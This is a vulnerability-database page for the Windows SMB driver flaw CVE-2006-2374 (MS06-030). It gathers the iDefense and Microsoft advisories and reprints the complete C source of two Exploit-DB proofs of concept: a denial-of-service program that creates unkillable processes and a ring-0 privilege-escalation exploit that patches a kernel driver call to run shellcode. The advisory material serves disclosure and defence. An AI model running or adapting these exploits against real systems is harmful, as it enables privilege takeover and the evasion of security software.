ID CVE-2006-2374 Type cve Reporter cve@mitre.org Modified 2018-10-12T21:39:00
Description
The Server Message Block (SMB) driver (MRXSMB.SYS) in Microsoft Windows 2000 SP4, XP SP1 and SP2, and Server 2003 SP1 and earlier allows local users to cause a denial of service (hang) by calling the MrxSmbCscIoctlCloseForCopyChunk with the file handle of the shadow device, which results in a deadlock, aka the "SMB Invalid Handle Vulnerability."
{"exploitdb": [{"lastseen": "2016-02-03T07:13:07", "bulletinFamily": "exploit", "description": "Microsoft SMB Driver Local Denial Of Service Vulnerability. CVE-2006-2374. Dos exploit for windows platform", "modified": "2006-06-13T00:00:00", "published": "2006-06-13T00:00:00", "id": "EDB-ID:28001", "href": "https://www.exploit-db.com/exploits/28001/", "type": "exploitdb", "title": "Microsoft SMB Driver Local Denial of Service Vulnerability", "sourceData": "source: http://www.securityfocus.com/bid/18357/info\r\n\r\nThe Microsoft SMB driver is prone to a local denial-of-service vulnerability.\r\n\r\nA local attacker can exploit this issue to create processes that cannot be killed in affected operating systems, potentially denying service to legitimate users and other software on affected computers. This may aid the attacker in further attacks.\r\n\r\n////////////////////////////////////////////////////////////////////////////////\r\n///////// MRXSMB.SYS NtClose DEADLOCK exploit///////////////////////////////////\r\n////////////////////////////////////////////////////////////////////////////////\r\n//November 19,2005\r\n////////////////////////////////////////////////////////////////////////////////\r\n////////////////////////////////////////////////////////////////////////////////\r\n//ONLY FOR EDUCATION PURPOSES\r\n////////////////////////////////////////////////////////////////////////////////\r\n// Rub\u00ef\u00bf\u00bdn Santamarta \r\n// ruben (at) reversemode (dot) com\r\n// http://www.reversemode.com\r\n////////////////////////////////////////////////////////////////////////////////\r\n\r\n#include <windows.h>\r\n#include <stdio.h>\r\n\r\n\r\n#define MAGIC_IOCTL 0x141047\r\n\r\n\r\nVOID ShowError()\r\n{\r\n LPVOID lpMsgBuf;\r\n FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER| FORMAT_MESSAGE_FROM_SYSTEM,\r\n NULL,\r\n GetLastError(),\r\n MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),\r\n (LPTSTR) &lpMsgBuf,\r\n 0,\r\n NULL);\r\n MessageBoxA(0,(LPTSTR)lpMsgBuf,\"Error\",0);\r\n exit(1);\r\n}\r\n\r\n\r\nVOID IamAlive()\r\n{\r\n DWORD i;\r\n \r\n for(i=0;i<0x1000;i++)\r\n {\r\n Sleep(1000);\r\n printf(\"\\rI am a Thread and I am alive [%x]\",i);\r\n } \r\n\r\n}\r\n\r\n\r\nVOID KillMySelf()\r\n{\r\n \r\n DWORD junk;\r\n DWORD *OutBuff;\r\n DWORD *InBuff;\r\n BOOL bResult;\r\n HANDLE hDevice;\r\n DWORD i;\r\n \r\n hDevice = CreateFile(\"\\\\\\\\.\\\\shadow\", FILE_EXECUTE,FILE_SHARE_READ|FILE_SHARE_WRITE,\r\n NULL, OPEN_EXISTING, 0, NULL);\r\n \r\n if (hDevice == INVALID_HANDLE_VALUE) ShowError();\r\n \r\n OutBuff=(DWORD*)malloc(0x18);\r\n if(!OutBuff) ShowError();\r\n \r\n OutBuff[3]=(DWORD)hDevice;\r\n \r\n DeviceIoControl(hDevice,\r\n MAGIC_IOCTL,\r\n 0,0,\r\n OutBuff,0x18,\r\n &junk,\r\n (LPOVERLAPPED)NULL);\r\n // MAIN THREAD ENDING.\r\n}\r\n\r\n\r\nint main(int argc, char *argv[])\r\n{\r\n \r\n LPTHREAD_START_ROUTINE GoodThread;\r\n DWORD dwThreadId;\r\n DWORD bResult;\r\n GoodThread=(LPTHREAD_START_ROUTINE)IamAlive;\r\n \r\n\r\n printf(\"-=[MRXSMB.SYS NtClose Vulnerability POC]=-\\n\");\r\n printf(\"\\t(Only for educational purposes)\\n\");\r\n printf(\"..http://www.reversemode.com..\\n\\n\");\r\n printf(\"Launching Thread ...\");\r\n \r\n // PUT YOUR \"GOOD\" OR \"BAD\" CODE HERE\r\n // e.g GoodThread\r\n CreateThread(NULL,0,GoodThread,0,0,&dwThreadId); \r\n \r\n \r\n printf(\"Done\\n\");\r\n printf(\"I am going to dissapear,but I will be with you forever\\n\");\r\n printf(\"(..)\\n\\n\");\r\n KillMySelf(); // Immortal mode \"on\" ;)\r\n \r\n return(1); \r\n}", "cvss": {"score": 2.1, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/28001/"}, {"lastseen": "2016-01-31T15:07:58", "bulletinFamily": "exploit", "description": "MS Windows XP/2K (Mrxsmb.sys) Privilege Escalation PoC (MS06-030). CVE-2006-2373,CVE-2006-2374. Local exploit for windows platform", "modified": "2006-06-14T00:00:00", "published": "2006-06-14T00:00:00", "id": "EDB-ID:1911", "href": "https://www.exploit-db.com/exploits/1911/", "type": "exploitdb", "title": "Microsoft Windows 2000/XP - Mrxsmb.sys Privilege Escalation PoC MS06-030", "sourceData": "///////////////////////////////////////////////////////////////////////////////////////\r\n// Mrxsmb.sys XP & 2K Ring0 Exploit (6/12/2005)\r\n// Tested on XP SP2 && 2K SP4 \r\n// Disable ReadOnly Memory protection\r\n// HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management\\EnforceWriteProtection = 0\r\n// -----------------------------------------------------------------------------------\r\n// ONLY FOR EDUCATIONAL PURPOSES.\r\n// -----------------------------------------------------------------------------------\r\n// Rub\u00c3\u00a9n Santamarta.\r\n// www.reversemode.com\r\n// -----------------------------------------------------------------------------------\r\n// OVERVIEW\r\n// -----------------------------------------------------------------------------------\r\n// There are 3 possible values to change in order to adjust the exploit to other versions.\r\n// # XPSP2 (XP Service Pack 2)\r\n// This variable is equal to the File offset of the Call that we are modifying minus 0xC\r\n//. #XPSP2 => 3D88020000 cmp eax,000000288\r\n//. 770B ja .000064BBE --\r\n//. 50 push eax\r\n//. 51 push ecx\r\n//. E812E2FFFF call .000062DCC -- MODIFIED CALL --\r\n// -----------------------------------------------------------------------------------\r\n// #W2KSP4 (Windows 2000 Service Pack 4)\r\n// The same method previosly explained but regarding to Windows 2000 Service Pack 4.\r\n// -----------------------------------------------------------------------------------\r\n// $OffWord\r\n// This variable is defined in CalcJump() Function. \r\n// E812E2FFFF call .000062DCC -- MODIFIED CALL -- \r\n// The exploit calculates automatically the relative jump, but we need to provide it\r\n// the 2 bytes following opcode Call(0xE8). In example, as we can see, to test in XP\r\n// OffWord will be equal to 0xE212.\r\n//////////////////////////////////////////////////////////////////////////////////////\r\n\r\n\r\n\r\n#include <windows.h>\r\n#include <stdio.h>\r\n\r\n\r\n#define XPSP2\t\t0x54BAC \r\n#define W2KSP4\t\t0x50ADD\r\n#define MAGIC_IOCTL 0x141043\r\n\r\ntypedef BOOL (WINAPI *PENUMDEVICES)(LPVOID*,\r\n\t\t\t\t\t\t\t\t\tDWORD ,\r\n\t\t\t\t\t\t\t\t\tLPDWORD);\r\n\r\ntypedef DWORD (WINAPI *PGETDEVNAME)(LPVOID ImageBase,\r\n\t\t\t\t\t\t\t\t\tLPTSTR lpBaseName,\r\n\t\t\t\t\t\t\t\t\tDWORD nSize);\r\n\r\nVOID ShowError()\r\n{\r\n LPVOID lpMsgBuf;\r\n FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER| FORMAT_MESSAGE_FROM_SYSTEM,\r\n NULL,\r\n GetLastError(),\r\n MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),\r\n (LPTSTR) &lpMsgBuf,\r\n 0,\r\n NULL);\r\n MessageBoxA(0,(LPTSTR)lpMsgBuf,\"Error\",0);\r\n exit(1);\r\n}\r\n\r\nDWORD CalcJump(DWORD BaseMRX,BOOL InXP,DWORD *hValue,DWORD *ShellAddr)\r\n{\r\n\r\n DWORD SumTemp;\r\n DWORD IniAddress;\r\n\t DWORD i;\r\n\t DWORD sumAux;\r\n\t DWORD addTemp;\r\n\t DWORD OffWord;\r\n\t \r\n\t if(InXP)\r\n\t {\r\n\t\tSumTemp=BaseMRX+XPSP2+0xE;\r\n\t OffWord=0xE212;\r\n\t }\r\n\t else\r\n\t {\r\n\t SumTemp=BaseMRX+W2KSP4+0xE;\r\n\t\tOffWord=0xa971;\r\n\t }\r\n\t\t\r\n\t\r\n\t for(i=0x4c;i<0xDDDC;i=i+4)\r\n\t { \r\n\t\tsumAux=~((i*0x10000)+OffWord);\r\n\t\taddTemp=SumTemp-sumAux;\r\n\t\tif(addTemp>0xE000000 && addTemp<0xF000000){\r\n\t\t\t\tIniAddress=addTemp&0xFFFFF000;\r\n\t\t\t\t*hValue=i-4;\r\n\t\t\t\t*ShellAddr=addTemp;\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\t }\r\n\t printf(\"\\nINFORMATION \\n\");\r\n\t printf(\"-----------------------------------------------------\\n\");\r\n printf(\"Patched Driver Call pointing to \\t [0x%p]\\n\",addTemp);\r\n\t \r\n return (IniAddress);\r\n} \r\n\r\nint main(int argc, char *argv[])\r\n{\r\n PENUMDEVICES pEnumDeviceDrivers;\r\n PGETDEVNAME pGetDeviceDriverBaseName;\r\n LPVOID arrMods[200],addEx;\r\n DWORD cb,i,devNum,dwTemp,hValue,Ring0Addr,junk,ShellAddr,BaseMRX=0;\r\n DWORD *OutBuff,*InBuff;\r\n HANDLE hDevice;\r\n BOOL InXP;\r\n CHAR baseName[255];\r\n\r\n CONST CHAR Ring0ShellCode[]=\"\\xCC\"; //\"PUT YOUR RING0 CODE HERE :)\"\r\n \r\n if(argc<2)\r\n {\r\n printf(\"\\nMRXSMB.SYS RING0 Exploit\\n\");\r\n printf(\"--- Ruben Santamarta ---\\n\");\r\n printf(\"Tested on XPSP2 & W2KSP4\\n\");\r\n printf(\"\\nusage> exploit.exe <XP> or <2K>\\n\");\r\n exit(1);\r\n }\r\n \r\n if(strncmp(argv[1],\"XP\",2)==0)\r\n\t InXP=TRUE;\r\n else\r\n\t InXP=FALSE;\r\n\r\n pEnumDeviceDrivers=(PENUMDEVICES)GetProcAddress(LoadLibrary(\"psapi.dll\"),\r\n\t\t\t\t\t\t\t\t\t\t\t\t \"EnumDeviceDrivers\");\r\n\r\n pGetDeviceDriverBaseName=(PGETDEVNAME)GetProcAddress(LoadLibrary(\"psapi.dll\"),\r\n\t\t\t\t\t\t\t\t\t\t\t\t \"GetDeviceDriverBaseNameA\");\r\n\r\n pEnumDeviceDrivers(arrMods,sizeof(arrMods),&cb);\r\n devNum=cb/sizeof(LPVOID);\r\n printf(\"\\nSearching Mrxsmb.sys Base Address...\");\r\n\r\n for(i=1;i<=devNum;i++)\r\n {\r\n pGetDeviceDriverBaseName(arrMods[i],baseName,254);\r\n\t if((strncmp(baseName,\"mrxsmb\",6)==0))\r\n\t {\r\n\t \t printf(\"[%x] Found!\\n\",arrMods[i]);\r\n\t\t BaseMRX=(DWORD)arrMods[i];\r\n\t }\r\n }\r\n\r\n if(!BaseMRX)\r\n {\r\n\t printf(\"Not Found\\nExiting\\n\\n\");\r\n\t exit(1);\r\n }\r\n\r\n addEx=(LPVOID)CalcJump(BaseMRX,InXP,&hValue,&ShellAddr);\r\n OutBuff=(DWORD*)VirtualAlloc((LPVOID)addEx,0xF000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);\r\n \r\n if(!OutBuff) ShowError();\r\n\r\n printf(\"F000h bytes allocated at \\t\\t [0x%p]\\n\",addEx);\r\n printf(\"Value needed \\t\\t\\t\t [0x%p]\\n\",hValue+4);\r\n\r\n InBuff=OutBuff;\r\n \r\n printf(\"Checking Shadow Device...\");\r\n hDevice = CreateFile(\"\\\\\\\\.\\\\shadow\",\r\n FILE_EXECUTE,\r\n FILE_SHARE_READ|FILE_SHARE_WRITE,\r\n NULL,\r\n OPEN_EXISTING,\r\n 0,\r\n NULL);\r\n \r\n if (hDevice == INVALID_HANDLE_VALUE) ShowError();\r\n printf(\"[OK]\\n\");\r\n \r\n printf(\"Querying Device...\\n\");\r\n\r\n while(OutBuff[3]< hValue)\r\n {\r\n\t\t\tDeviceIoControl(hDevice, // \"\\\\.\\shadow\"\r\n MAGIC_IOCTL, // Privileged IOCTL\r\n InBuff, 2, // InBuffer, InBufferSize\r\n OutBuff, 0x18,// OutBuffer,OutBufferSize\r\n &junk, // bytes returned\r\n (LPOVERLAPPED) NULL);\r\n \r\n printf(\"\\r\\t[->]VALUES: (%x)\",OutBuff[3]);\r\n }\r\n\r\n if(InXP)\r\n\t Ring0Addr=BaseMRX+XPSP2;\r\n else\r\n\t Ring0Addr=BaseMRX+W2KSP4; \r\n \r\n printf(\"Overwritting Driver Call at[%x]...\",Ring0Addr);\r\n DeviceIoControl(hDevice, // \"\\\\.\\shadow\"\r\n MAGIC_IOCTL, // Privileged IOCTL\r\n InBuff, 2, // InBuffer, InBufferSize\r\n (LPVOID)Ring0Addr, 0x18,// OutBuffer,OutBufferSize 0x\r\n &junk, // bytes returned\r\n (LPOVERLAPPED) NULL);\r\n \r\n printf(\"[OK]\\n\");\r\n for(i=1;i<0x3C00;i++) OutBuff[i]=0x90909090;\r\n \r\n memcpy((LPVOID*)ShellAddr,(LPVOID*)Ring0ShellCode,sizeof(Ring0ShellCode));\r\n \r\n \r\n printf(\"Sending IOCTL to execute the ShellCode\\n\");\r\n \r\n DeviceIoControl(hDevice, // \"\\\\.\\shadow\"\r\n MAGIC_IOCTL, // Privileged IOCTL\r\n InBuff, 2, // InBuffer, InBufferSize\r\n OutBuff, 0x18,// OutBuffer,OutBufferSize\r\n &junk, // bytes returned\r\n (LPOVERLAPPED) NULL);\r\n\r\n dwTemp=CloseHandle(hDevice);\r\n if(!dwTemp) ShowError();\r\n\r\n dwTemp=VirtualFree(OutBuff,0xf000,MEM_DECOMMIT);\r\n if(!dwTemp) ShowError();\r\n\r\n return(1);\r\n}\r\n\r\n// milw0rm.com [2006-06-14]\r\n", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/1911/"}], "osvdb": [{"lastseen": "2017-04-28T13:20:23", "bulletinFamily": "software", "description": "## Vulnerability Description\nWindows contains a flaw that may allow a remote denial of service. The issue is triggered when the MrxSmbCsIoctlCloseForCopyChunk function of SMB is passed the file handle for a shadow device, which will create a deadlock and result in loss of availability for the service.\n## Solution Description\nCurrently, there are no known workarounds or upgrades to correct this issue. However, Microsoft has released a patch to address this vulnerability.\n\nSubsequent reports indicate the patch for this issue does not properly mitigate the vulnerability.\n## Short Description\nWindows contains a flaw that may allow a remote denial of service. The issue is triggered when the MrxSmbCsIoctlCloseForCopyChunk function of SMB is passed the file handle for a shadow device, which will create a deadlock and result in loss of availability for the service.\n## References:\n[Secunia Advisory ID:20635](https://secuniaresearch.flexerasoftware.com/advisories/20635/)\n[Related OSVDB ID: 26440](https://vulners.com/osvdb/OSVDB:26440)\nOther Advisory URL: http://www.reversemode.com/index.php?option=com_content&task=view&id=14&Itemid=5\nOther Advisory URL: http://www.idefense.com/intelligence/vulnerabilities/display.php?id=409\nMicrosoft Security Bulletin: MS06-030\nMicrosoft Knowledge Base Article: 914389\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-06/0231.html\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-06/0233.html\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-06/0307.html\nKeyword: aka the \"SMB Invalid Handle Vulnerability.\" \nFrSIRT Advisory: ADV-2006-2327\n[CVE-2006-2374](https://vulners.com/cve/CVE-2006-2374)\nBugtraq ID: 18357\n", "modified": "2006-06-13T17:19:14", "published": "2006-06-13T17:19:14", "href": "https://vulners.com/osvdb/OSVDB:26439", "id": "OSVDB:26439", "type": "osvdb", "title": "Microsoft Windows SMB MRXSMB.SYS MrxSmbCscIoctlCloseForCopyChunk Remote DoS", "cvss": {"score": 2.1, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}], "securityvulns": [{"lastseen": "2018-08-31T11:10:18", "bulletinFamily": "software", "description": "Windows MRXSMB.SYS MrxSmbCscIoctlCloseForCopyChunk DoS\r\n\r\niDefense Security Advisory 06.13.06\r\nhttp://www.idefense.com/application/poi/display?type=vulnerabilities\r\nJune 13, 2006\r\n\r\nI. BACKGROUND\r\n\r\nMicrosoft Windows Operating System is system software for Intel based\r\nPCs. More information can be found at the vendor website:\r\n\r\n http://www.microsoft.com\r\n\r\nII. DESCRIPTION\r\n\r\nLocal exploitation of an access validation error in Microsoft Corp.'s\r\nWindows Operating System could allow attackers to cause a denial of\r\nservice (DoS) condition.\r\n\r\nThe vulnerability specifically exists due to a logic error in the\r\nMicrosoft Client Side Caching (CSCDLL.DLL) and Microsoft Server Message\r\nBlock Redirector Driver (MRXSMB.SYS) code. The Microsoft Client Side\r\nCaching infrastructure provides the user-mode portion of the "offline\r\nfiles" subsystem that allows interaction with network files while\r\noffline and preserves file system permissions. The Microsoft Server\r\nMessage Block Redirector Driver is the kernel-mode file system driver\r\nthat provides the network redirector functionality utilized by CSC.\r\n\r\nMRXSMB.SYS functions are exposed via IOCTL commands. An access\r\nvalidation error exists in the MrxSmbCscIoctlCloseForCopyChunk()\r\nfunction. In order to establish communication with the MRXSMB subsystem,\r\na file handle to a shadow device is created. If the\r\nMrxSmbCscIoctlCloseForCopyChunk() function is passed the file handle to\r\nthe shadow device, a deadlock occurs, resulting in an unkillable\r\nprocess.\r\n\r\nIII. ANALYSIS\r\n\r\nExploitation could result in the creation of unkillable processes. This\r\nattack can be used as protection against anti-virus or other host-based\r\nintrusion prevention systems.\r\n\r\nIV. DETECTION\r\n\r\niDefense has confirmed the existence of this vulnerability in Microsoft\r\nWindows XP SP2. It is suspected that all versions of Microsoft Windows\r\nare vulnerable.\r\n\r\nV. WORKAROUND\r\n\r\niDefense is unaware of any effective workaround for this issue.\r\n\r\nVI. VENDOR RESPONSE\r\n\r\nThe vendor security advisory and appropriate patches are available at:\r\n\r\n http://www.microsoft.com/technet/security/Bulletin/MS06-030.mspx\r\n\r\nVII. CVE INFORMATION\r\n\r\nThe Common Vulnerabilities and Exposures (CVE) project has assigned the\r\nname CAN-2006-2374 to this issue. This is a candidate for inclusion in\r\nthe CVE list (http://cve.mitre.org), which standardizes names for\r\nsecurity problems.\r\n\r\nVIII. DISCLOSURE TIMELINE\r\n\r\n02/07/2006 Initial vendor notification\r\n02/07/2006 Initial vendor response\r\n06/13/2006 Coordinated public disclosure\r\n\r\nIX. CREDIT\r\n\r\niDefense credits Rubén Santamarta with the discovery of this\r\nvulnerability.\r\n\r\nGet paid for vulnerability research\r\nhttp://www.idefense.com/poi/teams/vcp.jsp\r\n\r\nFree tools, research and upcoming events\r\nhttp://labs.idefense.com\r\n\r\nX. LEGAL NOTICES\r\n\r\nCopyright \u00a9 2006 iDefense, Inc.\r\n\r\nPermission is granted for the redistribution of this alert\r\nelectronically. It may not be edited in any way without the express\r\nwritten consent of iDefense. If you wish to reprint the whole or any\r\npart of this alert in any other medium other than electronically, please\r\nemail customerservice@idefense.com for permission.\r\n\r\nDisclaimer: The information in the advisory is believed to be accurate\r\nat the time of publishing based on currently available information. Use\r\nof the information constitutes acceptance for use in an AS IS condition.\r\nThere are no warranties with regard to this information. Neither the\r\nauthor nor the publisher accepts any liability for any direct, indirect,\r\nor consequential loss or damage arising from use of, or reliance on,\r\nthis information.", "modified": "2006-06-14T00:00:00", "published": "2006-06-14T00:00:00", "id": "SECURITYVULNS:DOC:13151", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:13151", "title": "iDefense Security Advisory 06.13.06: Windows MRXSMB.SYS MrxSmbCscIoctlCloseForCopyChunk DoS", "type": "securityvulns", "cvss": {"score": 2.1, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}, {"lastseen": "2018-08-31T11:10:18", "bulletinFamily": "software", "description": "Microsoft Security Bulletin MS06-030\r\nVulnerability in Server Message Block Could Allow Elevation of Privilege (914389)\r\nPublished: June 13, 2006\r\n\r\nVersion: 1.0\r\nSummary\r\n\r\nWho Should Read this Document: Customers who use Microsoft Windows\r\n\r\nImpact of Vulnerability: Elevation of Privilege\r\n\r\nMaximum Severity Rating: Important\r\n\r\nRecommendation: Customers should apply the update at the earliest opportunity.\r\n\r\nSecurity Update Replacement: This bulletin replaces a prior security update. See the frequently asked questions (FAQ) section of this bulletin for the complete list.\r\n\r\nCaveats: None.\r\n\r\nTested Software and Security Update Download Locations:\r\n\r\nAffected Software:\r\n\u2022\t\r\n\r\nMicrosoft Windows 2000 Service Pack 4 \u2014 Download the update\r\n\u2022\t\r\n\r\nMicrosoft Windows XP Service Pack 1 and Microsoft Windows XP Service Pack 2 \u2014 Download the update\r\n\u2022\t\r\n\r\nMicrosoft Windows XP Professional x64 Edition \u2014 Download the update\r\n\u2022\t\r\n\r\nMicrosoft Windows Server 2003 and Microsoft Windows Server 2003 Service Pack 1 \u2014 Download the update\r\n\u2022\t\r\n\r\nMicrosoft Windows Server 2003 for Itanium-based Systems and Microsoft Windows Server 2003 with SP1 for Itanium-based Systems \u2014 Download the update\r\n\u2022\t\r\n\r\nMicrosoft Windows Server 2003 x64 Edition \u2014 Download the update\r\n\r\nNon-Affected Software:\r\n\u2022\t\r\n\r\nMicrosoft Windows 98, Microsoft Windows 98 Second Edition (SE), and Microsoft Windows Millennium Edition (Me)\r\nTop of sectionTop of section\r\n\u2022\t\r\n\r\nThe software in this list has been tested to determine whether the versions are affected. Other versions either no longer include security update support or may not be affected. To determine the support life cycle for your product and version, visit the Microsoft Support Lifecycle Web site.\r\n\r\nNote The security updates for Microsoft Windows Server 2003, Windows Server 2003 Service Pack 1, and Windows Server 2003 x64 Edition also apply to Windows Server 2003 R2.\r\nGeneral Information\r\n\t\r\nExecutive Summary\r\n\r\nExecutive Summary:\r\n\r\nThis update resolves several newly discovered, privately reported vulnerability. Each vulnerability is documented in this bulletin in its own "Vulnerability Details" section of this bulletin.\r\n\r\nWe recommend that customers apply the update immediately\r\n\r\nSeverity Ratings and Vulnerability Identifiers:\r\nVulnerability Identifiers\tImpact of Vulnerability\tWindows 2000\tWindows XP Service Pack 1\tWindows XP Service Pack 2\tWindows Server 2003\tWindows Server 2003 Service Pack 1\r\n\r\nSMB Driver Elevation of Privilege Vulnerability - CVE-2006-2373\r\n\t\r\n\r\nElevation of Privilege\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\r\nSMB Invalid Handle Vulnerability - CVE-2006-2374\r\n\t\r\n\r\nDenial of Service\r\n\t\r\n\r\nModerate\r\n\t\r\n\r\nModerate\r\n\t\r\n\r\nModerate\r\n\t\r\n\r\nModerate\r\n\t\r\n\r\nModerate\r\n\r\nAggregate Severity of All Vulnerabilities\r\n\t\r\n\r\n \r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\r\nThis assessment is based on the types of systems that are affected by the vulnerability, their typical deployment patterns, and the effect that exploiting the vulnerability would have on them.\r\n\r\nNote The security updates for Microsoft Windows Server 2003, Windows Server 2003 Service Pack 1, and Windows Server 2003 x64 Edition also apply to Windows Server 2003 R2.\r\n\r\nNote The severity ratings for non-x86 operating system versions map to the x86 operating systems versions as follows:\r\n\u2022\t\r\n\r\nThe Microsoft Windows XP Professional x64 Edition severity rating is the same as the (Comment: Validate which one) Windows Server 2003 Service Pack 1 OR Windows XP Service Pack 2 severity rating.\r\n\u2022\t\r\n\r\nThe Microsoft Windows Server 2003 for Itanium-based Systems severity rating is the same as the Windows Server 2003 severity rating.\r\n\u2022\t\r\n\r\nThe Microsoft Windows Server 2003 with SP1 for Itanium-based Systems severity rating is the same as the Windows Server 2003 Service Pack 1 severity rating.\r\n\u2022\t\r\n\r\nThe Microsoft Windows Server 2003 x64 Edition severity rating is the same as the Windows Server 2003 Service Pack 1 severity rating.\r\nTop of sectionTop of section\r\n\t\r\nFrequently Asked Questions (FAQ) Related to This Security Update\r\n\r\nWhat updates does this release replace?\r\nThis security update replaces a prior security update. The security bulletin ID and affected operating systems are listed in the following table.\r\nBulletin ID\tWindows 2000 Service Pack 4\tWindows XP Service Pack 1\tWindows XP Service Pack 2\tWindows Server 2003\tWindows Server 2003 Service Pack 1\r\n\r\nMS05-011\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nNot Applicable\r\n\r\nWhy does this update address several reported security vulnerabilities?\r\nThis update contains support for several vulnerabilities because the modifications that are required to address these issues are located in related files. Instead of having to install several updates that are almost the same, customers can install only this update.\r\n\r\nAre Windows 98, Windows 98 Second Edition, or Windows Millennium Edition critically affected by one or more of the vulnerabilities that are addressed in this security bulletin?\r\nNo. Windows 98, Windows 98 Second Edition, and Windows Millennium Edition do not contain the affected component.\r\n\r\nExtended security update support for Microsoft Windows NT Workstation 4.0 Service Pack 6a and Windows 2000 Service Pack 2 ended on June 30, 2004. Extended security update support for Microsoft Windows NT Server 4.0 Service Pack 6a ended on December 31, 2004. Extended security update support for Microsoft Windows 2000 Service Pack 3 ended on June 30, 2005. I am still using one of these operating systems, what should I do?\r\nWindows NT Workstation 4.0 Service Pack 6a, Windows NT Server 4.0 Service Pack 6a, Windows 2000 Service Pack 2, and Windows 2000 Service Pack 3 have reached the end of their life cycles. It should be a priority for customers who have these operating system versions to migrate to supported versions to prevent potential exposure to vulnerabilities. For more information about the Windows Product Lifecycle, visit the following Microsoft Support Lifecycle Web site. For more information about the extended security update support period for these operating system versions, visit the Microsoft Product Support Services Web site.\r\n\r\nCustomers who require custom support for these products must contact their Microsoft account team representative, their Technical Account Manager, or the appropriate Microsoft partner representative for custom support options. Customers without an Alliance, Premier, or Authorized Contract can contact their local Microsoft sales office. For contact information, visit the Microsoft Worldwide Information Web site, select the country, and then click Go to see a list of telephone numbers. When you call, ask to speak with the local Premier Support sales manager. For more information, see the Windows Operating System Product Support Lifecycle FAQ.\r\n\r\nCan I use the Microsoft Baseline Security Analyzer (MBSA) to determine whether this update is required?\r\nThe following table provides the MBSA detection summary for this security update.\r\nSoftware\tMBSA 1.2.1\tMBSA 2.0\r\n\r\nMicrosoft Windows 2000 Service Pack 4\r\n\t\r\n\r\nYes\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows XP Service Pack 1 and Microsoft Windows XP Service Pack 2\r\n\t\r\n\r\nYes\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows XP Professional x64 Edition\r\n\t\r\n\r\nNo\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows Server 2003 and Microsoft Windows Server 2003 Service Pack 1\r\n\t\r\n\r\nYes\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows Server 2003 for Itanium-based Systems and Microsoft Windows Server 2003 with Service Pack 1 for Itanium-based Systems\r\n\t\r\n\r\nNo\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows Server 2003 x64 Edition family\r\n\t\r\n\r\nNo\r\n\t\r\n\r\nYes\r\n\r\nFor more information about MBSA, visit the MBSA Web site. For more information about the software that Microsoft Update and MBSA 2.0 currently do not detect, see Microsoft Knowledge Base Article 895660\r\n\r\nCan I use Systems Management Server (SMS) to determine whether this update is required?\r\nThe following table provides the SMS detection summary for this security update.\r\nSoftware\tSMS 2.0\tSMS 2003\r\n\r\nMicrosoft Windows 2000 Service Pack 4\r\n\t\r\n\r\nYes\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows XP Service Pack 1 and Microsoft Windows XP Service Pack 2\r\n\t\r\n\r\nYes\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows XP Professional x64 Edition\r\n\t\r\n\r\nNo\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows Server 2003 and Microsoft Windows Server 2003 Service Pack 1\r\n\t\r\n\r\nYes\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows Server 2003 for Itanium-based Systems and Microsoft Windows Server 2003 with Service Pack 1 for Itanium-based Systems\r\n\t\r\n\r\nNo\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows Server 2003 x64 Edition family\r\n\t\r\n\r\nNo\r\n\t\r\n\r\nYes\r\n\r\nSMS uses MBSA for detection. Therefore, SMS has the same limitation that is listed earlier in this bulletin related to software that MBSA does not detect.\r\n\r\nFor SMS 2.0, the SMS SUS Feature Pack, which includes the Security Update Inventory Tool, can be used by SMS to detect security updates. SMS SUIT uses the MBSA 1.2.1 engine for detection. For more information about the Security Update Inventory Tool, visit the following Microsoft Web site. For more information about the limitations of the Security Update Inventory Tool, see Microsoft Knowledge Base Article 306460. The SMS SUS Feature Pack also includes the Microsoft Office Inventory Tool to detect required updates for Microsoft Office applications.\r\n\r\nFor SMS 2003, the SMS 2003 Inventory Tool for Microsoft Updates can be used by SMS to detect security updates that are offered by Microsoft Update and that are supported by Windows Server Update Services. For more information about the SMS 2003 Inventory Tool for Microsoft Updates, visit the following Microsoft Web site. SMS 2003 can also use the Microsoft Office Inventory Tool to detect required updates for Microsoft Office applications.\r\n\r\nFor more information about SMS, visit the SMS Web site.\r\nTop of sectionTop of section\r\n\t\r\nVulnerability Details\r\n\t\r\nSMB Driver Elevation of Privilege Vulnerability - CVE-2006-2373\r\n\r\nThere is an elevation of privilege vulnerability in Server Message Block (SMB) that could allow an attacker who successfully exploited this vulnerability to take complete control of the affected system.\r\n\t\r\nMitigating Factors for SMB Driver 